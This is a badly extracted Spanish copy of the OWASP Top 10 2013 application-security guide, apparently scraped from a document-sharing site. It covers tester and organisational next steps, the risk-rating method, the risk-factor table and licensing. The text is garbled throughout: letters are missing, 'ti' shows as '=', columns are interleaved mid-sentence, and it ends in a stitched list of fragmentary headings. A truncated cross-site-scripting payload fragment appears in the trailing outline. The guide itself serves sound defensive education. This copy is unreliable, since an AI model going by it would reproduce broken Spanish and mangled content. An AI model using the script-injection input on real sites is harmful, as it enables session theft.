Hay un gran nmero de recursos adicionales OWASP para su uso. Visite por favor la Pgina de Proyectos OWASP, que lista todos los proyectos
de OWASP, organizados por la calidad de la distribucin de cada proyecto (Versin Final, Beta, o Alfa). La mayora de recursos de OWASP estn
disponibles en nuestro wiki, y muchos otros documentos del OWASP se pueden encargar tanto en copia |sica como en eBooks.
+V Prximos pasos para Testers
Organcese
Para vericar la seguridad de una aplicacin web que ha desarrollado, o que est considerando comprar, OWASP recomienda
que revise el cdigo de la aplicacin (si est disponible), y tambin evaluar la aplicacin. OWASP recomienda una combinacin de
anlisis de seguridad de cdigo y pruebas de intrusin siempre que sean posibles, ya que le permita aprovechar las fortalezas de
ambas tcnicas, y adems los dos enfoques se complementan entre s. Las herramientas para ayudar en el proceso de
vericacin pueden mejorar la eciencia y efec=vidad de un analista experto. Las herramientas de evaluacin de OWASP estn
enfocadas en ayudar a un experto en ser ms ecaz, ms que en tratar de automa=zar el proceso de anlisis.

Cmo estandarizar la vericacin de seguridad de las aplicaciones: Para ayudar a las organizaciones a desarrollar cdigo de
forma consistente y con un nivel denido de rigor, al momento de evaluar la seguridad de las aplicaciones web, OWASP ha
producido los estndares de vericacin (ASVS) de seguridad en aplicaciones. Este documento dene un estndar de vericacin
mnimo para realizar pruebas de seguridad en aplicaciones web. OWASP le recomienda u=lizar los ASVS como orientacin no
solamente para vericar la seguridad de una aplicacin web, sino tambin para evaluar que tcnicas son ms adecuadas , y para
ayudarle a denir y seleccionar un nivel de rigor en la comprobacin de seguridad de una aplicacin web. OWASP le recomienda
tambin u=lizar los ASVS para ayudar a denir y seleccionar cualquiera de los servicios de evaluacin de aplicaciones web que
puede obtener de un proveedor externo.

Suite de Herramientas de Evaluacin: El OWASP Live CD Project ha reunido algunas de las mejores herramientas de seguridad de
cdigo abierto en un nico sistema de arranque. Los desarrolladores Web, analistas y profesionales de seguridad pueden
arrancar desde este Live CD y tener acceso inmediato a una suite de pruebas de seguridad completa. No se requiere instalacin o
conguracin para u=lizar las herramientas proporcionadas en este CD.

Revisin de Cdigo Pruebas de seguridad e intrusin
Analizar el cdigo fuente es la manera ms slida para vericar Tests de aplicacin: El proyecto OWASP ha creado la
si una aplicacin es segura. Realizar tests sobre una aplicacin Gua de pruebas para ayudar a los desarrolladores, analistas y
slo puede demostrar que una aplicacin es insegura. especialistas en aplicaciones de seguridad a comprender cmo
probar eciente y de modo ecaz la seguridad en aplicaciones web.
Esta amplia gua, con docenas de colaboradores, ofrece una amplia
Revisin de Cdigo: Como un aadido a la cobertura sobre muchos temas de comprobacin de seguridad de
Gua del Desarrollador OWASP, y la Gua de Pruebas, OWASP aplicacin web. As como la revisin de cdigo =ene sus puntos
ha producido la Gua de Revisin de Cdigo para ayudar a los fuertes, tambin los =enen las pruebas de seguridad. Es muy
desarrolladores y especialistas en aplicaciones de seguridad a convincente cuando puedes demostrar que una aplicacin es
comprender cmo revisar la seguridad de una aplicacin web insegura demostrando su explotabilidad. Tambin hay muchos
de modo ecaz y eciente mediante la revisin del cdigo. problemas de seguridad, en par=cular la seguridad proporcionada
Existen numerosos problemas de seguridad de aplicacin web, por la infraestructura de las aplicaciones, que simplemente no
como los errores de inyeccin, que son mucho ms fciles de pueden ser detectados por una revisin del cdigo, ya que no es la
encontrar a travs de revisin de cdigo, que mediante aplicacin quien est proporcionando la seguridad..

pruebas externas..
Herramientas de Intrusin de Aplicacin: WebScarab, que es uno
de los proyectos ms u=lizados de OWASP, es un proxy de
Herramientas de revisin de cdigo: OWASP ha estado aplicacin de pruebas web. Permite que un analista de seguridad
haciendo algunos trabajos prometedores en el rea de ayudar interceptar las solicitudes de aplicacin web, de modo que el
a los expertos en la realizacin de anlisis de cdigo, pero analista puede descubrir cmo funciona la aplicacin, y luego le
estas herramientas se encuentran an en sus primeras fases. permite enviar solicitudes de prueba para ver si la aplicacin
Los autores de estas herramientas las emplean a diario para responde de modo seguro a las pe=ciones. Esta herramienta es
realizar sus revisiones de cdigo de seguridad, pero los especialmente ecaz a la hora de ayudar a un analista en la
usuarios no expertos pueden encontrar estas herramientas un iden=cacin de vulnerabilidades XSS, de auten=cacin, de control
de acceso. ZAP posee un ac=ve scanner y es libre.
poco di|ciles de usar. Estas herramientas incluyen
CodeCrawler, Orizon, y O2. Solamente O2 se ha mantenido
como proyecto ac=vo desde el Top 10 2010. Existen otras
herrmientas como FindBugs con su plugin FindSecurityBugs.
Prximos pasos para las
+O organizaciones
Comience hoy su programa de seguridad en aplicaciones
La seguridad en las aplicaciones ya no es opcional. Entre el aumento de los ataques y presiones de cumplimiento norma=vo, las organizaciones
deben establecer un mecanismo ecaz para asegurar sus aplicaciones. Dado el asombroso nmero de aplicaciones y lneas de cdigo que ya
estn en produccin, muchas organizaciones estn luchando para conseguir ges=onar el enorme volumen de vulnerabilidades. OWASP
recomienda a las organizaciones establecer un programa de seguridad de las aplicaciones para aumentar el conocimiento y mejorar la
seguridad en todo su catlogo de aplicaciones. Conseguir un nivel de seguridad de las aplicaciones requiere que diversas partes de una
organizacin trabajen juntos de manera eciente, incluidos los departamentos de seguridad y auditora, desarrollo de soNware, ges=n
ejecu=va y negocio. Se requiere que la seguridad sea visible, para que todos los involucrados puedan ver y entender la postura de la
organizacin en cuanto a seguridad en aplicaciones. Tambin es necesario centrarse en las ac=vidades y resultados que realmente ayuden a
mejorar la seguridad de la empresa mediante la reduccin de riesgo de la forma ms rentable posible. Algunas de las ac=vidades clave en la
efec=va aplicacin de los programas de seguridad incluyen:

Establecer un programa de seguridad de aplicacin y impulsar su adopcin.

Realizar un anlisis de brecha de capacidad entre su organizacin y los empleados para denir las reas clave de
Comience mejora y un plan de ejecucin.
Obtener la aprobacin de la direccin y establecer una campaa de concienciacin de seguridad en las
aplicaciones para toda la organizacin IT.
Iden=car y establecer prioridades en su catlogo de aplicaciones en base a al riesgo inherente.

Enfoque
Crear un modelo de perlado de riesgo de las aplicaciones para medir y priorizar las aplicaciones de su catlogo.
basado en el
Establecer directrices para garan=zar y denir adecuadamente los niveles de cobertura y rigor requeridos.
catlogo de
Establecer un modelo de calicacin de riesgo comn con un conjunto consistente de factores de impacto y
riesgos probabilidad que reejen la tolerancia al riesgo de su organizacin.
Establecer un conjunto de pol=cas y estndares que proporcionen una base de referencia de seguridad de las
aplicaciones, a las cuales todo el equipo de desarrollo pueda adherirse.
Cuente con Denir un conjunto de controles de seguridad reu=lizables comn que complementen esas pol=cas y estndares
una base y proporcionen una gua en su uso en el diseo y desarrollo
slida Establecer un perl de formacin en seguridad en aplicaciones que sea un requisito, dirigido a los diferentes roles
y =pologas de desarrollo.
Integre la Denir e integrar ac=vidades de implementacin de seguridad y vericacin en los procesos opera=vos y de
desarrollo existentes. Estas ac=vidades incluyen el Modelado de Amenazas, Diseo y Revisin seguros, Desarrollo
Seguridad en Seguro y Revisin de Cdigo, Pruebas de Intrusin, Remediacin, etc.
los Procesos Para tener exito, proporcionar expertos en la materia y servicios de apoyo a los equipos de desarrollo y de
Existentes proyecto.
Ges=onar a travs de mtricas. Manejar las decisiones de mejora y provisin de recursos econmicos basndose
en las mtricas y el anlisis de los datos capturados. Las mtricas incluyen el seguimiento de las prc=cas/
Proporcione ac=vidades de seguridad, vulnerabilidades presentes, mi=gadas, cobertura de la aplicacin, densidad de defectos
una visin de por =po y can=dad de instancias, etc.
gesCn Analizar los datos de las ac=vidades de implementacin y vericacin para buscar el orgen de la causa y patrones
en las vulnerabilidades para poder conducir as mejoras estratgicas en la organizacin
+R Acerca de los riesgos
Lo importante son los riesgos, no las debilidades

Aunque las versiones del Top 10 de OWASP del 2007 y las anteriores se centrasen en iden=car las vulnerabilidades ms comunes, el Top 10 de
OWASP siempre se ha organizado en base a los riesgos. Esto ha causado en la gente una confusin ms que razonable a la hora de buscar una
taxonoma de vulnerabilidades herm=ca. La versin 2010 del Top 10 de OWASP clarica el mo=vo por el cual centrarse en el riesgo,
explicitando, cmo las amenazas, vectores de ataque, debilidades, impactos tcnicos y de negocio, se combinan para desencadenar un riesgo.
Esta versin del TOP 10 de OWASP sigue la misma metodologa.

La metodologa de asignacin de riesgo para el Top 10 est basada en la Metodologa de Evaluacin de Riesgos OWASP (
Risk Ra=ng Methodology). Para cada elemento del Top 10, se ha es=mado el riesgo pico que cada debilidad introduce en una aplicacin web
pica, examinando factores de probabilidad comunes y factores de impacto para cada debilidad comn. Seguidamente, se ha ordenado el Top
10 segn aquellas vulnerabilidades que normalmente suponen un mayor riesgo para la aplicacin.

La Metodologa de Evaluacin de Riesgos OWASP dene numerosos factores que ayudan a calcular el riesgo de una vulnerabilidad iden=cada.
Sin embargo, el Top 10 debe basarse en generalidades en vez de vulnerabilidades concretas en aplicaciones reales. Es por ello que nunca se
podr ser tan preciso como el dueo de un sistema cuando calcula los riesgos para su(s) aplicacin(es). Usted est mejor capacitado para juzgar
la importancia de sus aplicaciones y datos, cules son sus agentes de amenaza, y cmo su sistema ha sido construido y est siendo operado.

Nuestra metodologa incluye tres factores de probabilidad para cada vulnerabilidad (frecuencia, posibilidad de deteccin y facilidad de
explotacin) y un factor de impacto (impacto tcnico). La frecuencia de una debilidad es un factor que normalmente no es necesario calcular.
Para los datos sobre la frecuencia, se han recopilado las estads=cas de frecuencia de un conjunto de organizaciones diferentes (como se indica
en la seccin de Agradecimientos en la pgina 3) y se han promediado estos datos para construir un Top 10 de probabilidades de existencia
segn su frecuencia. Esta informacin fue posteriormente combinada con los otros dos factores de probabilidad (posibilidad de deteccin y
facilidad de explotacin) para calcular una tasa de probabilidad para cada debilidad. Esta tasa fue mul=plicada por el impacto tcnico promedio
es=mado para cada elemento para as poder obtener una clasicacin de riesgo total para cada elemento en el Top 10.

Cabe destacar que esta aproximacin no toma en cuenta la probabilidad del agente de amenaza. Tampoco se =ene en cuenta ninguno de los
detalles tcnicos asociados a su aplicacin en par=cular. Cualquiera de estos factores podran afectar signica=vamente la probabilidad total de
que un atacante encontrase y explotase una vulnerabilidad especca. Esta clasicacin tampoco =ene en cuenta el impacto real sobre su
negocio. Su organizacin deber decidir cunto riesgo de seguridad en las aplicaciones est dispuesta a asumir dada su cultura, la industria y el
entorno norma=vo. El propsito del Top 10 de OWASP no es hacer este anlisis de riesgos por usted.

El siguiente diagrama ilustra los clculos sobre el riesgo del punto A3: Cross-Site Scrip=ng, como ejemplo. Los XSS son tan frecuentes que se
jus=ca el valor de MUY DIFUNDIDO a 0. El resto de riesgos se enmarcan entre difundidos a poco comunes (valores de 1 a 3).


Agentes de
Amenaza
Especco de la Explotabilidad Frecuencia Deteccin Impacto Especco de la

Aplicacin PROMEDIO MUY DIFUNDIDO FCIL MODERADO aplicacin/negocio

2 0 1 2

1 * 2

2
Detalles acerca de los factores de
+F riesgo
Resumen de los factores de riesgo Top 10
La siguiente tabla presenta un resumen del Top 10 2013 de Riesgos de Seguridad en Aplicaciones, y los factores de riesgo que hemos asignado a
cada uno. Estos factores fueron determinados basndose en las estads=cas disponibles y en la experiencia del equipo OWASP TOP 10. Para
entender estos riesgos para una aplicacin u organizacin par=cular, debe considerar sus propios agentes de amenaza e impactos especcos al
negocio. Incluso debilidades de soNware escandalosas podran no representar un riesgo serio si no hay agentes de amenaza en posicin de
ejecutar el ataque necesario o el impacto al negocio podra ser insignicante para los ac=vos involucrados.

Riesgo Agentes de
Amenaza
Explotabilidad Prevalecencia Detectabilidad Impacto
Especco de Especco de
A1-Inyeccin FCIL COMN PROMEDIO SEVERO
la Aplicacin la Aplicacin
A2-AutenCcacin PROMEDIO DIFUNDIDA PROMEDIO SEVERO
A3-XSS PROMEDIO MUY DIFUNDIDA FCIL MODERADO
A4-Ref. Directa Especco de Especco de

FCIL COMN FCIL MODERADO
insegura la Aplicacin la Aplicacin
A5-Defectuosa Especco de Especco de

FCIL COMN FCIL MODERADO
Conguracin la Aplicacin la Aplicacin
A6-Exposicin de Especco de Especco de

DIFCIL POCO COMN PROMEDIO SEVERO
Datos Sensibles la Aplicacin la Aplicacin
A7-Ausencia Especco de Especco de

FCIL COMN PROMEDIO MODERADO
Control Funciones la Aplicacin la Aplicacin
A8-CSRF PROMEDIO COMN FCIL MODERADO
A9-Componentes Especco de Especco de

PROMEDIO DIFUNDIDA DIFCIL MODERADO
Vulnerables la Aplicacin la Aplicacin
A10-Redirecciones Especco de Especco de

PROMEDIO POCO COMN FCIL MODERADO
no validadas la Aplicacin la Aplicacin
Riesgos adicionales a considerar

El TOP 10 cubre un amplio espectro, pero hay otros riesgos que debera considerar y evaluar en su organizacin. Algunos de estos han
aparecido en versiones previas del OWASP TOP 10, y otros no, incluyendo nuevas tcnicas de ataque que estn siendo iden=cadas
constantemente. Otros riesgos de seguridad de aplicacin importantes (listados en orden alfab=co) que debera tambin considerar incluyen:
An=-automa=zacin insuciente (CWE-799)
Clickjacking (tcnica de ataque recin descubierta en el 2008)
Denegacin de servicio
Ejecucin de archivos maliciosos (fue parte del Top 10 2007 - Entrada 2007-A3)
Fallas de concurrencia
Falta de deteccin y respuesta a las intromisiones
Filtracin de informacin y Manejo inapropiado de errores ( fue parte del TOP 10 del 2007 - Entrada A6)
Inyeccin de expresiones de lenguaje (CWE-917)
Privacidad de usuario
Registro y responsabilidad insucientes (Relacionado al TOP 10 del 2007 - Entrada A6)
Vulnerabilidad de asignacin masiva (CWE-915)
LOS ICONOS MS ABAJO REPRESENTAN OTRAS VERSIONES USTED ES LIBRE DE:
DISPONIBLES DE ESTE LIBRO.
copiar, distribuir y ejecutar pblicamente la
obra
ALFA: Un libro de calidad Alfa es un borrador de trabajo.
La mayor parte del contenido se encuentra en bruto
hacer obras derivadas
y en desarrollo hasta el prximo nivel de publicacin.

BETA: Un libro de calidad Beta es el prximo nivel de calidad. BAJO LAS S IGUIENTES CONDICIONES:
Reconocimiento Debe reconocer los
El contenido se encuentra todava en desarrollo hasta la crditos de la obra de la manera
prxima publicacin. especicada por el autor o el licenciante
(pero no de una manera que sugiera que
=ene su apoyo o apoyan el uso que hace de
FINAL: Un libro de calidad Final es el nivel ms alto de calidad, su obra).
y es el producto nalizado.
Compar=r bajo la misma licencia Si
altera o transforma esta obra, o genera una
obra derivada, slo puede distribuir la obra
generada bajo una licencia idn=ca a sta.
ALFA BETA FINAL
El proyecto abierto de seguridad en aplicaciones Web (OWASP por sus siglas en ingls) es una
comunidad abierta y libre de nivel mundial enfocada en mejorara la seguridad en las
aplicaciones de soNware. Nuestra misin es hacer la seguridad en aplicaciones "visible", de
manera que las organizaciones pueden hacer decisiones informadas sobre los riesgos en la
seguridad de aplicaciones. Todo mundo es libre de par=cipar en OWASP y en todos los
materiales disponibles bajo una licencia de soNware libre y abierto. La fundacin OWASP es
una organizacin sin nimo de lucro 501c3 que asegura la disponibilidad y apoyo permanente
para nuestro trabajo.

OWASP Top 10 - 2013 Final - Español PDF

Cargado por

Copyright:

Formatos disponibles

También podría gustarte

OWASP Top 10 - 2013 Final - Español PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

OWASP Top 10 - 2013 Final - Español PDF

Cargado por

Copyright:

Formatos disponibles

O

Prefacio Acerca de OWASP

Derechos de Autor y Licencia

Qu ha cambiado del 2010 al 2013?

OWASP Top 10 2010 (Previo) OWASP Top 10 2013 (Nuevo)

A3 Prdida de AutenCcacin y GesCn de Sesiones A2 Prdida de AutenCcacin y GesCn de Sesiones

A4 Referencia Directa Insegura a Objetos A4 Referencia Directa Insegura a Objetos

A6 Defectuosa Conguracin de Seguridad A5 Conguracin de Seguridad Incorrecta

A7 Almacenamiento Criptogrco Inseguro Fusionada A9 A6 Exposicin de Datos Sensibles

A10 Redirecciones y reenvos no validados A10 Redirecciones y reenvos no validados

A9 Proteccin Insuciente en la Capa de Transporte Fusionada con 2010-A7 en la nueva 2013-A6

Cul es Mi riesgo? Referencias

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de Escenarios de Ataques Referencias

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de Escenarios de Ataques Referencias

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de escenarios de Ataques Referencias (en ingls)

El atacante modica el parmetro CC en el navegador: OWASP Cross-Site Scrip=ng Ar=cle

'><script>document.locaCon= ESAPI Encoder API

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de escenarios de ataques Referencias (en ingls)

PreparedStatement pstmt = ESAPI Access Reference Map API

Soy vulnerable? Cmo prevenirlo?

Ejemplos de escenarios de Ataque Referencias (en ingls)

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de escenarios de Ataques Referencias en ingls)

Soy vulnerable? Cmo prevenirlo?

Ejemplos de Escenarios de Ataque Referencias

Si la vc=ma visita alguno de los si=os controlados por el atacante, Externos

Soy Vulnerable? Cmo prevenirlo?

Ejemplos de Escenarios de Ataques Referencias

en Spring del componente Expression Languaje permi= a los

Soy vulnerable? Cmo prevenirlo?

Ejemplos de Escenarios de Ataque Referencias

Establezca y UClice Procesos de Seguridad RepeCbles y Controles Estndar de Seguridad

Establecer un programa de seguridad de aplicacin y impulsar su adopcin.

Iden=car y establecer prioridades en su catlogo de aplicaciones en base a al riesgo inherente.

Lo importante son los riesgos, no las debilidades

Vectores Debilidades Impactos Impactos

Especco de la Explotabilidad Frecuencia Deteccin Impacto Especco de la

Vectores Debilidades Impactos Impactos

A4-Ref. Directa Especco de Especco de

A5-Defectuosa Especco de Especco de

A6-Exposicin de Especco de Especco de

A7-Ausencia Especco de Especco de

A9-Componentes Especco de Especco de

A10-Redirecciones Especco de Especco de

Riesgos adicionales a considerar

ALFA BETA FINAL

También podría gustarte